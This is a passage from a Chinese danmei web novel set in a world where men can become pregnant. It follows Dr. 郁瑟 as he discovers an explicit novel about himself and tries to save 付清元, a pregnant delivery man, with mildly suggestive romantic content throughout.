郁瑟忍住多管闲事的嘴巴,由枫音尘带着去了办公室休息。 其实他不知道的是。 枫音尘早都知道萧君耀在剧情安排里得了一个大胖儿子,晚一点去看他这个小侄孙,也没什么问题。 反正将来也是姓萧,继承的是萧家的产业,做萧家的霸主。 可是瑟瑟就不同了。 小说的结局里,瑟瑟最后给他生了一个如花似玉的小公主。 不过,这个愿望可能永远也实现不了的。 枫音尘知道此刻陪着他的郁瑟是真正的郁瑟,并不是书里的那个。 真正的瑟瑟是生不了孩子的。 枫音尘难免有点遗憾。 小公主,香香软软的,多可爱啊。 直到枫澄和枫羽差不多前后赶到了医院,枫家人和萧君耀一同去探望保温室里的小宝宝。 哪知枫音尘第一眼,就看见了那坨粉粉嫩嫩的小耗子。 小宝宝的眉眼还没长开,但已经能够看出将来绝对长相不俗。 毕竟父母的基因在那里摆着,绝对差不了。 不过,小宝宝此刻的样子,委实有点滑稽,张着小嘴,不停地打着哈欠,两只小手胡乱抓着,好像在做着美梦。 手上戴着的标签,清楚地标记着性别:女。 第72章 第 72 章 秘密被暴露啦 枫音尘险些没有管住自己的毒舌行为, 反问萧君耀的孩子是不是被谁掉包了? 原本设定好的小.鸡.鸡为什么没有啦?! 可是一看保温箱里的小娃娃,软绵绵得可爱极了,又讲不出的哪里羡慕着 是嫉妒死了。 啊~ 枫公主伤心了, 忧郁了, 心说讨厌鬼们的命就是好。 例如萧君耀,例如杜景恒,都是得了暖心的小棉袄! 瞧瞧人家萧君耀, 此刻正抱在怀里的小宝贝, 那双清澈如水的眼眸仿佛能洞察人心,小手软绵绵的, 每一次挥动都像是拨动人的心弦。 再想想杜景恒, 他的小棉袄更是活泼可爱,一笑起来, 整个世界都仿佛亮堂了几分。 那属于我枫音尘的小公主呢? 所有人都在冥冥中感受到了一阵阵的低气压在四周盘旋, 但是看向枫音尘的时候,都觉得他在替知乐高兴。 只是笑得不明显而已,非常符合他的娇作气质。 枫音尘这种诡异的情绪一直持续到所有人离开医院, 而他和郁瑟则是返回到了枫家本宅。 郁瑟作为和枫音尘最为亲昵的伴侣, 自然比其他人更加洞察人心,所以才主动答应陪着对方回到枫家。 本宅内有枫家祖辈修建的祠堂,祠堂庄严而肃穆,每一砖一瓦都透露着岁月的沉淀和家族的荣耀。 枫音尘的祖辈、父母, 包括他早早去世的哥哥和嫂子, 全部在里面立了牌位。 祠堂常年由专门的佣人管理, 枫音尘站在祠堂中央,告诉父母兄长,家里今日添丁了的事情。 可能是回忆起自己曾经被父母疼爱, 哥哥嫂子关怀的过往。 枫音尘不得不感慨,映照这世界的书写得真是有点子东西的。 幸亏设计了男性可以怀孕的设定,否则他们枫家一屋子GAY要绝后了呀 枫音尘去祠堂并未带着郁瑟一起走,所以郁医生很主动地先去洗了澡,而后坐在枫音尘的床上,一边用吹风机 轻轻吹拂湿润的发丝,一边逗弄小黑蛇伊尔曼。 之前没跟小黑蛇混熟的时候,伊尔曼给人的感觉确实挺毛骨悚然的。 但随着时间的推移,郁瑟发现,兰花美人蛇其实很可爱、软萌。 此刻,伊尔曼正尾巴缠绕在他的手腕上,享受着吹风机带来的温暖气流,小眼睛里闪烁起满足的光芒。 头发吹干后,郁瑟对它说,“现在需要拿开尾巴啰,我先去放一下吹风机,好不好?” 说是商量着,其实郁瑟也没期待着小黑蛇能服从他的要求,更经验告诉他,被伊尔曼缠住的时候,是根本不好摆脱对方的。 所以,郁瑟只好将整条蛇扛上肩膀,准备带着缠人小蛇去放吹风机。 哪知伊尔曼突然动了一下,从肩膀的位置掉了下去。 郁瑟不知蛇的平衡性极好,生怕它掉在地面给摔疼了,回头却见伊尔曼沿着地毯,慢悠悠地往枫音尘的床头柜爬去。 郁瑟在枫音尘的卧室里留宿过几次,并没有 发现卧室里有什么可以供小黑蛇藏身或者玩耍的地方,除了那张大床和床头柜上摆放的一些奢华物品。 伊尔曼似乎对床头柜上的某个小物件产生了兴趣,小小的蛇头凑近去嗅了嗅,然后又用尾巴轻轻拍打了几下。 郁瑟见状,心中暗自好笑,心说这小家伙还真会找乐子。 他只好放下吹风机,轻手轻脚地走近伊尔曼,生怕惊扰了它的“探索之旅”。 “伊尔曼,你是发现了枫音尘的小秘密了吗?”郁瑟轻声说道,试图将小黑蛇从床头柜旁劝开。 但伊尔曼似乎并不打算就此罢休,亮晶晶的蛇眸紧盯着那个吸引它的小物件,尾巴在地上轻轻拍打,仿佛在表达着它的执着。 郁瑟无奈地摇了摇头,只能放任小黑蛇。 只见小黑蛇极其熟练地用尾巴拨开了床头柜的木门,露出里面的情况。 郁瑟并不打算窥探枫音尘的私密的。 直到床头柜里随手摆放的一个物件掉了下来,砸在地毯上的模样像是一本很破旧的书籍。 郁瑟不禁对伊尔曼道,“没想到枫音尘真得私藏了什么宝藏啊?哈哈哈,你这个小机灵鬼,都被你意外泄露啦!” 郁瑟也是经历过青春期的男人,知道有些男生最初接受的性.教育,都是来自于一些不可言喻的途径。 或许这本书,就是枫音尘的“启蒙老师”。 郁瑟笑道,“没想到枫音尘看起来时髦,内心还挺传统啊。” “居然私藏小黄.书。” 这种藏着掖着小秘密的行为,还真是让人有种莫名的可爱感。 伊尔曼似乎对郁瑟的话并不感兴趣,它只是专注地盯着那本掉落的书籍,尾巴轻轻摇摆,似乎在催促着郁瑟将它拾起。 郁瑟见状,只得弯腰将那本破旧的书籍捡起,轻轻拂去封面上的灰尘。 书籍的封面已经磨损得相当严重,书角必然是经历过千百次的摩挲,才会有如此明显的折痕。 经历多年浸淫某种欲.望的泛黄页面,此刻全无遮掩地展示在了郁瑟的眼前。 郁瑟直接看见了几个显眼的大字。 ——《强宠郁医生的九十九夜》 第73章 第 73 章 每天只看黄黄的东西 枫音尘告慰了哥哥嫂子的在天之灵之后, 转身离开枫家祠堂,返回到了自己的卧房。 他原本以为郁医生会像平常一样,利用一切可以利用的时间, 来研究医学典籍或是撰写论文, 却意外地发现书桌摆放得整整齐齐,而郁医生则规规矩矩地躺在床上睡觉。 人应该是因为疲劳而睡熟了,只是被子盖得略紧了些, 显得皮肤像是经过腌渍的海棠果似的, 透出淡淡的粉红。 枫音尘轻轻走近,生怕惊扰了这份难得的宁静。他注意到郁医生的眉头微微蹙起, 似乎在梦中也遇到了什么烦心事。 枫音尘心中不禁涌起一股莫名疼惜的情绪, 伸手抚摸郁医生的面颊,却发现掌心触碰到的肌肤发着不自然的热烫。 大概是因为被子盖得太紧了。 他这样想着, 轻轻将被角往下掖了掖, 希望能让郁医生睡得更加舒适些。 然而,即便是这样微小的动作,也完全没有惊扰到了睡梦中的人。 郁医生的眼皮轻轻颤动, 完全没有苏醒过来的意思。 枫音尘不得不伏低身体, 用面颊蹭了蹭他的嘴唇,像是主动讨得一个晚安吻似的。 枫音尘变得软软的,撒娇说,“这次饶了你, 以后只能我搂着你, 才准你睡觉哦。” 跟郁医生亲昵地黏了一会儿, 枫音尘才依依不舍地去浴室洗澡。 听见他喃喃嘀咕说,“本来要跟瑟瑟一起泡澡的,现在只能我自己泡了。” 随后关上了浴室的房门。 不到一分钟时间, 从浴室里传出浴缸加水的声音。 郁瑟终于放心换了一口气,从被子里钻了出来,半截身子因为闷热出了不少汗,沾在真丝睡衣间。 除此之外,还有不少因为强烈的羞耻感,从肌肤间沁出的汗水。 弄得郁瑟整个人黏黏答答的,从身体内部一直处于高热不下。 而后,他从枕头下面取出了那一本刚被自己翻开不久的书籍,赤红着面孔继续阅读里面的内容。 若是一般的青涩小说,可能郁瑟也不过是粗略得看几眼而已。 这本书不同。 因为这本书里的男主人公叫做郁瑟,是一名产科医生。 正是他自己。 书里把他的每一件事情都写得极近详细。 例如他喜欢什么样的位置,什么样的感觉最能刺激他的情绪起伏,从哪个角度打磨更容易让他失声尖叫。 还有更过分的描述。 郁瑟不能说全部都精准无误,但也八九不离十的样子。 这种被人具体描绘成细腻文字的感受,与你真实地去体感,是截然不同的两种极端感受。 难以遮掩的羞耻感,如同电流流淌于四肢百骸间,令他整个人如同踩在云端,起起伏伏。 郁瑟从未想过,自己私密的喜欢和癖好,会被如此直白且详尽地记录下来,仿佛自己的一切都暴露在了光天化日之下,任人意.淫。 郁瑟试图说服自己,这不过是巧合,是作者随意的杜撰,但那些细节,那些只有他自己才知道的秘密,却在不断地敲打着心理的防线。 郁瑟感觉自己的脸颊滚烫,心脏如同被一只无形的手紧紧握住,每一次跳动都伴随着剧烈的刺激。 他不敢想象,这本书在枫音尘的手里时,对方是如何用这种宣淫似的描述,来彻头彻尾得发泄积累的念欲。 反正,肯定不是什么见得光的方式。 此刻,浴室里传出了一阵响动。 郁瑟立刻像是个情窦初开的青涩男孩,慌张于要被人捉到了见不得光的把柄。 快速将手里的书籍塞进原本的柜子里。 包括他的整个人,重新钻回了被窝里躲起来。 没想到枫音尘只是出来拿了一瓶红酒,又重新走了进去。 郁瑟看他出来时连衣服也不穿,甩来甩去的,还脚踩了一路的水渍。 弄得郁瑟忽然有点生气。 世界上,怎么会有这种家伙! 郁医生现在可以可以合理怀疑,这本激情满满的小说,会不会是枫音尘自己编写的,再找人私印?! 郁瑟的社会阅历毕竟不浅,使得他很容易从慌乱生气中镇定下来。 所以他又继续装睡。 枫音尘泡澡的时间挺长,大约一个小时后,才香喷喷地走出浴室,上床后抱住郁瑟的腰身,给人狠狠拉进怀里搂住。 枫音尘不停地拱贴着郁医生的脖颈,用凉冰冰的嘴唇亲吻个不停说,“瑟瑟你真的睡得好香啊,都不理我了。” 将身上的睡袍从被窝里丢出去后,枫音尘用愈发凉冰冰的戳了戳郁瑟,“我好像体温不够用了,你的体温好舒服,给我传递一点。” 抱着郁瑟不停地借体温,直到自己也陷入昏睡之中。 郁瑟耐心等着他闹腾完,用手试探了枫音尘的熟睡度,随后又将手伸进了那个柜子里,取出那本磨损程度极其严重的小说。 用手指戳了戳枫公主的绝色睡颜,轻哼一声道,“幸亏伊尔曼给我漏了底,不然,还不知道你究竟对我隐藏了多少秘密。” 枫音尘用手挠了挠面颊的轻痒。 郁瑟拿着书和手机,慢悠悠地钻进了被子深处。 小说的内容的确很劲爆,郁瑟快速翻看了几百页,完全没有什么剧情在里面。 全部都是难以启齿地酿酿酱酱,一锅喷香四溢的炖肥肉,毫无节操的二人转,连点瘦的素的绿色健康的都没有。 更重要的是,肉里夹小说的部分中,能出现的很多情节都和他与枫音尘之间的相处,有着极高的相似度。 但郁瑟可以肯定,他从未和枫音尘之外的人,提起过他们之间的事情。 郁瑟忽然想起慕酌月曾经说过的,这本书中世界里,枫音尘不过沿着剧情设定被操纵,是一个没有感情的工具人 他还准备跟我签什么强宠九十九夜的合同 想至此,郁瑟又羞又气,钻出被窝一把捏住枫音尘高挺的鼻梁,不准他呼吸。 “让你这样作恶多端?” 郁瑟第二天起床时像是还在生气,没什么好脸色,搞得枫音尘这位高高在上的公主大人,也不得不放低姿态去哄他。 其实,郁瑟也没跟他置气多久,很快郁瑟就被另一件事情绊住了脚。 昨晚他花了近三个小时的时间,忽略掉肥肉块的部分,从二百万字密密麻麻的不可描述里剃出来一丝丝剧情内容。 郁瑟发现,在最近的章节中,会有一个新的男性产夫的角色出现,而且这个产夫的身世十分可怜。 龙城属于各种复杂势力的聚集地,可以称为豪门遍地走,权贵多如狗的地方。 在这里,每一个家族背后,都可能隐藏着不为人知的秘密。 这个孕夫原本是属于龙城地产大佬柳晏超的独子,结果在出生当日,被竞争对手在医院里掉了包,硬塞了一个假少爷给刘晏超。 这个真少爷本来应该会被立刻弄死的,结果竞争对手委派去的家伙心软了一下,没听话,反而丢在了龙城随便一户人家的家门口。 最神奇的是,这家人姓付。 对了,正是炙手可热的三庄影帝付博雅他们家门口。 当郁瑟看到这里的时候,内心的激动情绪简直难以自控。 此刻,枫音尘正端来一份热腾腾的早点,叫郁瑟躺在床上吃掉。 可能是,郁医生熬夜看二百万字的小.黄书委实耗费精神,所以早晨起床还干呕了一阵子。 枫音尘对他更是谨小慎微的,甚至劝他今天不要上班去了。 郁瑟从不轻易送人白眼,不知此刻的心情为什么格外不爽。 捏了枫音尘的脸蛋一把。 哼,也就是作者把你塑造得太美了,直接迷乱了我的眼。 枫音尘瞧他眼睛微红,禁不住关心地凑过去求亲亲道,“瑟瑟你哪里不高兴,告诉我,我让你高兴高兴。” 哼。 郁瑟心说,没想到你是这样的枫公主,每天只顾着看黄黄的东西。 第74章 第 74 章 很急吗 枫音尘并不知自己早已经连底裤都漏光的情况下, 郁医生则完全属于跃跃欲试的兴奋着。 剧情里虽然介绍的篇幅不多,但是却极大地吸引着郁医生。 这个柳家的真少爷,被丢在了付博雅家的门外之后。 付博雅的父母十分善良, 还专门到警局登记信息, 希望找到孩子的亲生父母。 最后实在是找不到线索,才将这柳家的真少爷当作亲生儿子一般抚养长大。 给这个险些丧命的可怜孩子起名叫做付清元。 付清元与付博雅并非亲生兄弟,从骨子里来讲并没有什么血脉亲情, 何况两人的性格也截然不同。 付博雅年长五岁, 性格沉稳冷静,做事有条不紊, 从不喜欢轻易露出内心想法。 而付清元则文静内敛, 不喜欢冒险和挑战。 性格的差异与年岁的不同,使得付清元对于更为优秀强大的付博雅, 产生了不该有的特殊情感。 这种情感, 在他幼小的心灵里悄悄萌芽,随着年岁的增长而愈发茁壮。 他时常默默地注视着付博雅,眼中闪烁着既敬仰又复杂的光芒。 付清元深知这种情感是不被世俗所接受的, 但他却无法克制自己的内心。 所以, 付清元不断努力学习,希望能够在某些方面超越付博雅,得到哥哥的认可与关注。 然而,无论他如何努力, 付博雅总是那么优秀, 那么遥不可及。 这份特殊的情感, 成为了付清元心中无法言说的秘密,也让他在面对付博雅时,总是带着一丝难以察觉的羞涩和躲闪。 而付博雅对这个白来的弟弟, 似乎并没有什么特别的热情,但也绝不算无情。 综合起来分析就是。 付博雅作为哥哥一方,是没有什么可挑剔的,但是除此之外,是没有什么能多给付清元的。 例如用同样的情感,去回应这个捡来的弟弟。 所以,付清元一边怀揣着对哥哥的依恋和喜爱,又必须小心翼翼地隐藏越来越龌龊的心思。 直到有一天,付清元带着男朋友回了家,将傅家双亲直接给吓个半死。 包括付博雅。 一家人无论采用什么样的方法,都无法劝阻付清元,他似乎是认准了那个所谓的男朋友,非要为了一个男的,跟整个傅家搞得鸡飞狗跳的。 直到有一天,付清元回到家,听见付博雅冷幽幽地对着父母说道。 “他究竟什么时候离开?” 没错。 柳家突然发现了家里养了十几年的孩子有问题,经过几年的寻找之后,终于找到了付清元的头上。 付清元不叫这个名字,人家是龙城堂堂的地产大佬柳博超的独子。 人家该叫柳明轩的。 很可惜,这个名字早已经被假少爷所取代了。 付清元满怀失落,重新回到了柳家,他觉得自己找了男朋友这件事,一定叫哥哥更加厌烦,所以从内心便驱赶他离开。 算是为了完成哥哥一直以来的心愿吧。 ——没有人再继续纠缠他的心愿。 付清元返回柳家后,发现并不是他之前想象的那样子。 柳家父母并没有将假少爷打发走的意思,反倒将两个人都当作真儿子来养。 这倒是无可厚非,毕竟“生恩不如养恩大”,十几年的感情也是感情啊。 可是付清元很快发现,父母对于假儿子的喜爱,远远地超越了自己。 他们会为柳明轩准备最精致的卧室,选购最昂贵的衣物,甚至在餐桌上,也会不自觉地偏袒他,将最好的菜肴摆在对方的面前。 而对于付清元,他们似乎总是带着一种若有若无的疏离感,仿佛付清元是这个家多余的成员。 付清元找到了一些很合理的借口,可能是父母太重感情,一时间扭转不过来对柳明轩的宠溺,再或者,是他的头脑不够聪明,人也没有柳明轩漂亮,所以一经比较之后,觉得他这个真货反倒令人大失所望。 尤其是,柳家父母知道付清元找了一个普普通通的男朋友之后,更是明里暗中的破坏两人之间的感情,最终还支付了男朋友二十万,叫对方离开自己。 柳明轩经常拿这件事嘲讽付清元,说他真是一个廉价货,男朋友只要区区二十万,就能彻底把他给抛弃了。 付清元对这个廉价男朋友的喜欢,其实也仅仅属于一种心灵上的寄托。 他渴望在爱情里找到那份被付博雅无视的温暖和认同。 然而,现实的残酷让他明白,有些感情是可以用金钱衡量的,至少在他父母和柳明轩眼中是如此。 付清元开始消沉,开始怀疑这个世间,是否怀有纯粹不作假的真挚情感。 柳明轩见他消沉,更是小人得志极了,不停地在柳夫人面前搬弄是非,说付清元肯定是被傅家人给教坏了,不然怎么返回到豪门过好日子,居然还整日若有所思不满足的。 他还说付清元肯定是嫉妒他,嫉妒他被柳家父母认了养子,成了柳家名正言顺的二少爷,所以心里不平衡,才处处跟他作对。 柳夫人一听这话,对付清元的厌恶又多了几分,觉得柳明轩说得对,付清元这个孩子就是养不熟的白眼狼,吃别人家的饭长大,连心都长歪了。 她开始更加频繁地找付清元的麻烦,不是指责他这做不好,就是那做不对,仿佛付清元做什么都是错的,只有柳明轩做什么才是对的。 付清元对于这一切看在眼里,痛在心里。 他明白,自己在这个家里,永远都是一个外人,一个不被接纳的存在。 付清元于是更加沉默,更加孤僻,不再像以前那样,还试图去争取些什么。 直到他突然发现,自己怀孕了。 奇怪,他怎么能怀孕呢?! 而且,他都不知道自己什么时候怀孕的啊!! 付清元简直惊吓过度,不知所措。 随之而来的,是深深地挫败感和自我厌弃。 这个世界上,连他的亲生父母都不爱他,他的男朋友都会为了二十万将他出卖。 孩子 孩子又能给他带来什么呢? 付清元似乎在一夜之间长大,觉得一切不过是过眼云烟,什么亲情、爱情的,都不过是浮云,飘渺而无实。 他开始重新审视自己的人生,思考未来的路该如何走。 付清元意识到,不能再这样消沉下去,为了肚子里无辜的孩子,也为了自己。 于是决定离开这个充满冷漠和排斥的家,去寻找属于自己的天地。 付清元收拾了几件简单的衣物,带上自己所有的积蓄,悄悄地离开了那个让他心痛的地方。 郁瑟看到的剧情是零碎的,不过经过他的大致加工,能得出不少的内容。 而且,他知道付清元腹中这个孩子,其实是付博雅的。 还有,付清元难产的那一夜,柳家正在给假儿子过生日,全家其乐融融。 而付清元和孩子的生命,全部终结在那个寒冷的夜里。 郁瑟:“” 郁瑟:“我怎么可能让这种事情发生呢?!” 郁瑟自然是有心要帮助付清元的,可是这种事又不好请枫音尘帮忙,要不然小说的事情必然会暴露无遗。 然而,龙城的地界不小,想要在茫茫人海中捞一个人,完全不像是所谓的简单。 郁瑟正在苦苦思索着,究竟该如何,才能用最快的速度,找到即将待产的孕夫? 距离付清元难产大概也还有几天时间。 郁瑟正思慕着,一个胖墩墩的外卖小哥迎面过来,与他在医院走廊中擦肩碰撞了一下。 对方立刻气喘吁吁说,“不好意思。” 郁瑟觉得自己也有过错,不该边走路边走神,回眸看去说,“我也不好意思。” 结果那外卖小哥虚浮着晃晃悠悠的脚步,提着两袋子外卖,往护士站的方向走去。 估计是对方的怪异举动吸引了郁瑟的注意力,所以郁瑟也不自觉地跟着对方身后。 外卖快速将手中的两袋外卖,递到了护士站。 他一边擦汗,一边急匆匆地说道:“这是302病房的,麻烦您尽快送过去,病人还等着用餐呢。” 郁瑟站在一旁,默默观察着这一幕。他注意到,外卖小哥的身材十分古怪。 依照他常年的习惯,很容易看出,对方的面颊手脚虽然虚胖,但是腹部鼓起来的样子很不一般,即使用宽大的外套遮掩起来,但是依旧瞒不过郁瑟的眼神。 正当护士准备接过外卖时,外卖小哥突然又像是想起了什么,他从口袋里掏出一张小纸条,递给了护士:“哦对了,这是那位病人特别要求的,说一定要按照这个纸条上的要求来准备餐食。” 郁瑟心中一动,故意凑了过去,想要近距离地确认一下自己的判断。 这时,护士接过外卖和小纸条,微笑着对外卖小哥说:“放心吧,我会按照要求照顾好病人的。” 外卖小哥这才松了一口气,他朝护士点了点头,然后转身匆匆离开了医院。 郁瑟站在原地,心中涌起了一股莫名的冲动,想要伸手拦住对方。 结果被那个外卖小哥甩到了脑后。 他肯定是 郁瑟见着对方的脚步蹒跚摇曳,绝对不属于肥胖者的步行姿态。 秉承着刨根究底的态度,郁瑟二话不说跟着后面追了去。 那个外卖小哥应该是需要赶时间,搭乘电梯下楼后,又快速骑上了电动车,眨眼间要远离郁瑟的视线。 郁瑟立刻急了,伸手准备阻拦一辆出租车。 恰好一辆纯黑色的卡宴缓缓行驶到了他的面前。 车窗降落下来后,后排可以清晰看见慕酌月的英俊面庞。 “郁医生,怎么,很急吗?” 第75章 第 75 章 我的吻技更好 郁瑟当然很着急了, 自觉跳上他的车,坐在里面用手一指道,“慕先生, 能不能麻烦你的车跟上前面那个电动车。” 慕酌月笑了, “怎么,这外卖小哥骗了你的五星好评?” 郁瑟也笑了,“怎么, 慕先生敢情还点过外卖?这么不食人间烟火的吗?” 玩笑归玩笑。 慕酌月的车依然稳稳地跟在那辆电动车后面, 不快不慢,保持着一定的距离。 郁瑟透过车窗, 紧紧盯着前方的目标, 脸上带着严肃。 慕酌月则从侧面不停地瞥视着他,嘴角勾起一抹淡淡的笑意, 表面上似乎对这场突如其来的“追踪”游戏颇感兴趣, 实际上是因为郁医生近在咫尺的距离,令他心内不禁欢欣雀跃。 龙城的交通情况一向不好,外送员骑得是电动车, 堵车时的优势很快便显现出来, 像一只灵活的小老鼠,在拥堵的车流中穿梭自如。 慕酌月的高级轿车则万万不能。 所以郁瑟准备直接打开车门追出去的,被慕酌月反手摁住手腕,阻止了略显冒失的动作。 慕酌月道, “现在冲出去太危险了。” 又说, “其实郁医生可以换一种思维方式, 不如跟我先讲讲,为什么要急匆匆地去追刚才那个人?” “需要我帮助你报警吗?” 眼瞅着那个穿着制服的身影,转眸消失殆尽。 郁瑟也觉得自己确实有点魔障了, 更不该做这种冲动之举。 深换一口气,努力平复自己的心情,转而对慕酌月说道:“刚才那个男生,我怀疑他已经怀孕38周左右了,像他那种情况实在不应该继续做外送员这样重体力的工作,而是应该在医院待产。” 郁瑟还想说,身为怀孕的男性,完全是比不了女性一点的,越是怀孕周期长,越是增加风险系数。 必须尽快实施剖宫产手术,否则子宫将无法承受胎儿的重量,极有可能会造成子宫破裂,大出血,孕夫和胎儿都会有生命危险。 郁瑟的神情严肃而认真,完全没有注意到慕酌月的表情变化:“我担忧有些男性并不知晓自己其实是怀孕的状态,所以想追上去确认一下。” 慕酌月闻言,眼神中闪过一丝灼热的闪动,甚至忍不住手指的战栗,想要帮助郁医生抚一把面颊的汗珠。 这是他最喜欢郁瑟的地方,为人严谨认真又充满善心,总是喜欢设身处地地替他人着想,凡事又不求回报。 真的就 好喜欢!好喜欢!好喜欢!好喜欢!好喜欢! 99999+ 即使,只是郁医生的替身,也如此令人疯狂心动!!! 慕酌月道,“原来如此。” “其实,这件事完全可以交给我来包办,不过是找人去外送公司确认一下今天接单的人员信息。”这种事情对于他来说简直是易如反掌,况且,他真的很想为郁医生做些什么。 “哦?”郁瑟闻言微微一愣,似乎没想到慕酌月会主动提出帮忙,毕竟他们之间的关系,正处于一种介乎于尴尬和微妙之间的状态。 转念一想,既然慕酌月提出了帮助,那也未尝不可接受。 而慕酌月这边所思考的内容,要更为复杂一些。 男人怀孕。 这本书耗费了他不少精力去完成,洋洋洒洒的二百万字里,确实创作了不少男性孕夫的副线故事。 但是这些人都是有数有名的,不是随便哪一个男人都能怀孕。 他当时创作出这个生子背景的世界,只是为了让郁瑟高兴,同时也让郁瑟觉得男人怀孕生子,其实是一件很平凡的事情。 这样,郁瑟就会乖乖地,给他生孩子了。 慕酌月记得,他当时创作了一个怀孕的小可怜,对方在临产前依旧辛辛苦苦地送外卖,只为了凑足钱,能顺利生下不知道父亲是谁的孩子。 这个小可怜,是真假少爷故事环节里的付清元。 既然他的瑟瑟喜欢帮助别人,那他还不借此机会,多从郁瑟这里讨得一点好处? 比如,多让郁瑟信赖他一些,多让郁瑟对他卸下心防,最好能让郁瑟觉得,在关键时刻,他慕酌月比枫音尘更值得依靠。 慕酌月粗略地计算了一下付清元的生产日期,差不多是在三天后。 因为柳明轩的生日宴要到了,柳氏夫妻会邀请龙城有头有脸的人们来替假儿子庆生。 付博雅也在邀请之列。 届时,付清元会因为极度的失望和痛苦,难产而死。 付清元的死亡,只是为了增强剧情效果的安排。 既然,他想赢得郁瑟好感,这个人其实也可以不死的。 慕酌月淡淡道,“那郁医生最近一定要接听我的电话,这样才好及时联系你。” 郁瑟答应得很爽快。 到了遇见慕酌月的第二日,对方果真打来了电话,跟他说外卖员的名字已经查询到了,不过他受邀参与一个豪门宴会,恐怕没有时间领着郁瑟去找人。 郁瑟肯定不傻,直接听出对方的暗示。 若是平常的话,郁瑟也就不跟他纠缠了,可是这个慕酌月分外狡猾,不知是不是故意的,提到了参加的宴会主人姓柳,是享誉龙城的地产大亨。 这不是雨点落在火星子上——巧得很吗? 郁瑟的直觉一向很准,甚至觉得自己那天追去的外卖小哥,果然是接下来剧情的主角——付清元。 作为医生,他自然不能允许任何一个生命在自己的面前消失,隐隐还有种验证成功的小兴奋。 便一口气地答应了慕酌月的话,甚至主动询问道,“慕先生,介不介意宴会里带我一个?” 为此,郁瑟还是第一次盛装打扮,跟枫音尘去借了一身能参加宴会的衣服。 枫音尘一听他居然要在晚间出门,绿眸子一紧,人也颇为慌张道,“我现在就让对让给我写一张请帖,我必须要跟着你一起去才放心。” 郁瑟完全没有隐瞒他的必要,说是柳博超家的小少爷过生日宴。 “呃柳明轩啊” 枫音尘只要想起那个倒霉孩子,就一身的不舒爽,总觉得对方身上那股子俗气,会沾染到自己身上似的。 尽管心里头一百个不乐意,枫音尘还是主动帮郁瑟打扮起来。 郁瑟原本长得就不赖,五官清秀如兰,气质清淡,只是平日里不爱拾掇自己,总是穿着一身简单的白大褂。 不过也是好看的很,叫枫音尘喜欢得嫑嫑的。 经过枫音尘的一番打理,给郁医生换上了一身剪裁得体的高定西装,头发也被仔细地梳了起来,露出了饱满的额头,整个人看起来精神了不少。 枫音尘看着他,满意地点了点头,“不错,一看就是别人不敢随便搭讪的富家公子。” 郁瑟对着镜子照了照,也觉得自己这番打扮,着实帅气了不少,心里头不禁有些得意。 只是。 郁瑟说,“你的腿好长,我穿你的裤子好像有点长了,而且,裤腰也松了一点。” 是吗? 枫音尘立刻笑颜如花,将收拾精神的郁医生顶在镜子前,开始胡乱骚扰说,“我的腿是不是瑟瑟见过的里,最长的?” 郁瑟双手抓住微松的裤腰,笑着躲避对方的油腻骚扰,言道,“你不要胡闹了,我还是喜欢高冷傲娇的枫公主。” “哦。” 枫音尘咬住他的后颈,一番耳鬓厮磨道,“原来,我在瑟瑟心里,一直是公主啊?” 郁瑟生怕他胡闹习惯,等一会儿忍不住要在镜子前枪擦火走了。 他曾偷看过的剧情里,有一段令人面红耳赤的描写,正是在镜子前。 【镜面已经沾满了各种各样的痕迹,又双手胡乱抓下的指痕,还有呼吸打湿的雾气,以及两人不经意间留下的唇印。浑浊的乳液似的痕迹还很新鲜,拉着丝慢慢往镜子底下滑动】 郁瑟的脸瞬间被这些奇奇怪怪的文字干扰,整个人通红如血,假如这种极度的羞耻感,能用视觉来形容的话。 此时此刻,郁瑟都快要从四肢百骸里,冒出滚滚浓烟了。 枫音尘似乎并未注意到这些细节,他的眼神里满是玩味与挑逗,而郁瑟则显得有些心神不宁,他试图将话题从这暧昧的氛围中抽离出来,“我们……是不是该出发了?” 枫音尘轻笑一声,手指轻轻划过郁瑟的脸颊,“急什么,瑟瑟,美好的时光总是短暂的,我们要好好享受每一刻。” 郁瑟无奈地叹了口气,他知道,一旦枫音尘进入这种模式,就很难再让他改变主意了。 于是,他只好顺着对方的意思,提前结束安全地这场突如其来的“镜子前的嬉戏”。 所以他主动转身,攀附住枫音尘的肩膀,将嘴唇柔软地抵在对方的齿门前,像是臣服于对方似的,先叫对方吃个够本。 枫音尘并不知是缓兵之计,转而与他吻得天昏地暗,才依依不舍放开道,“早点回来,我等你。” 郁瑟整理好衣服和发丝,半个小时后如约坐上了慕酌月的车。 慕酌月今日盛装出席,一身剪裁得体的西装衬托出他挺拔的身姿,即使人必须要坐在轮椅中,脸上挂着温和却又不失风度的微笑。 郁瑟坐上车后,侧头看向慕酌月,心中不禁暗自赞叹。 ——这个小说世界的作者一定是个颜狗,不然怎么这么多种类的帅哥齐聚一堂。 不对,枫音尘不是帅哥,是美人。 慕酌月似乎感受到了郁瑟的沉思,打开了车载音响,悠扬的旋律流淌在空气中。 郁瑟正想跟他问个问题,对方却一把捏住了他的下颌,拇指粗粝地剐蹭着郁瑟的嘴唇。 这个行为十分失礼。 但是慕酌月的手劲儿却不容置疑,在优雅的旋律中,隐隐透出一丝控制性极强的残酷。 他凝着郁瑟的眼睛,情绪跌宕且充满强烈的嫉妒,而且他并不打算在郁瑟面前隐瞒这份情感。 仿佛要将郁瑟的灵魂吸入其中。 他说过的,对郁瑟属于一见钟情,但实际上,他对郁瑟的爱已经持续了很久很久,早都变成一种变态的偏执欲了。 “看来枫音尘的吻技很心够差,把你的嘴角都吻肿了。” “我就不会。” 第76章 第 76 章 极限二选一 郁瑟也没给他立刻甩出任何嫌恶的脸色, 而是在慕酌月的掌心淡然一笑。 “看来,慕先生的舌头一定是太细了。” 慕酌月不禁笑着靠近他,“这可不像是, 能郁医生能从嘴里说出来的话。” 郁瑟说, “慕先生可能有所不知,我若是刚才用正经话回复你的话,就是报警告性.骚扰了。” 郁瑟微微一笑, 仿佛刚才的对话不过是一场无关痛痒的插曲。 慕酌月收回手, 指尖残留着带有少许温度的触感,那是郁瑟的下颌不经意间传递过来的。 他的眼神中闪过一丝精光, 似乎对这场意外的交锋颇感兴趣, “郁医生,你的幽默感真是别具一格。不过, 我保证, 我们接下来的交流一定能建立在彼此尊重的基础上。” 慕酌月的话语中带着几分诚恳,像是在朝着郁医生释放求和的信息。 郁瑟心急着去救人,也不跟他再继续计较下去。 柳明轩果真是不容小觑, 不知究竟用了什么手段, 鸠占鹊巢之后,还能叫柳家的假父母对其深信不疑,甚至视如己出。 他在柳家的地位,俨然已经超越了真正的少爷, 成为了柳家上下公认的继承人。 郁瑟与慕酌月一起进入生日宴会的现场, 已然被面前的奢华无度所吸引。 仿欧式镀金穹顶下, 